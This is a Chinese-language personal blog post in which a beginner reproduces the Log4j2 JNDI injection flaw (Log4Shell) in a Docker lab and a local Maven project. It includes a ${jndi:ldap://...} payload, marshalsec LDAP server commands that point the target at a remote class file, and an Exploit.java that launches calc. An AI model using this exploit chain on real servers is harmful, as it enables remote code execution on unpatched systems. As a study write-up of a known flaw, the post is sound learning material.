最近安全圈都被log4j刷爆了

Cache_-ca5dbbf873e36ef.

但对我来说最悲伤是莫过于大家都在庆祝又有一个能养活安全工程师的洞时,我却完全看不懂这是啥

只会java基础,javaweb才刚起了个头,看到这个洞时,一脸懵,log4j是啥?LDAP又是啥?拿到poc和exp时更懵了,这poc是啥?这exp怎么用?

image-20211212133301356

菜归菜,复现还是要复现的,至于懂不懂嘛,我相信等我学完javaweb后一定会懂的。

然而一开始就绝望了,这这这,复现过程怎么看不懂啊,我tm连环境都不会搭,焯

image-20211212134238110

那先退而求其次吧,用现成的靶场先体验一下

Log4J 漏洞复现+漏洞靶场

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

docker拉个镜像就行,启动后访问http://ip:8080/webstudy/,post传参c=${jndi:ldap://xxx.dnslog.cn/exp},就能在dnslog上看到了

体验完后该好好研究一下了。

首先Log4j是啥

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具,被广泛地应用在中间件、开发框架与Web应用中。(也就是说java网站基本都会有这个,因此影响范围巨大)

那么LDAP又是啥

LDAP,轻型目录访问协议,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。是一个访问在线目录服务的协议。可使用marshalsec开启LDAP服务,具体操作为

下载marshalsec后进入文件夹编译

mvn clean package -DskipTests

然后进入target目录

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit"

漏洞描述

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码

漏洞原理

当log4j打印的日志内容中包含${jndi:ldap://ip}时,程序就会通过ldap协议访问ip这个地址,然后ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。

影响范围

Apache Log4j 2.x <= 2.15.0-rc1

漏洞复现

首先创建一个新的maven项目,导入log4j的依赖

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

构造poc

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
}

构造Exploit.java

public class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmd = "calc";
            Runtime.getRuntime().exec(cmd);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

编译成class文件

javac Exploit.java

然后需要开启一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

image-20211212145653989

最后运行Log4j.java,成功执行

image-20211212145547555

跟着别人的教程复现了一遍,操作是会了,但还是看不懂原理,唉,慢慢学吧。。。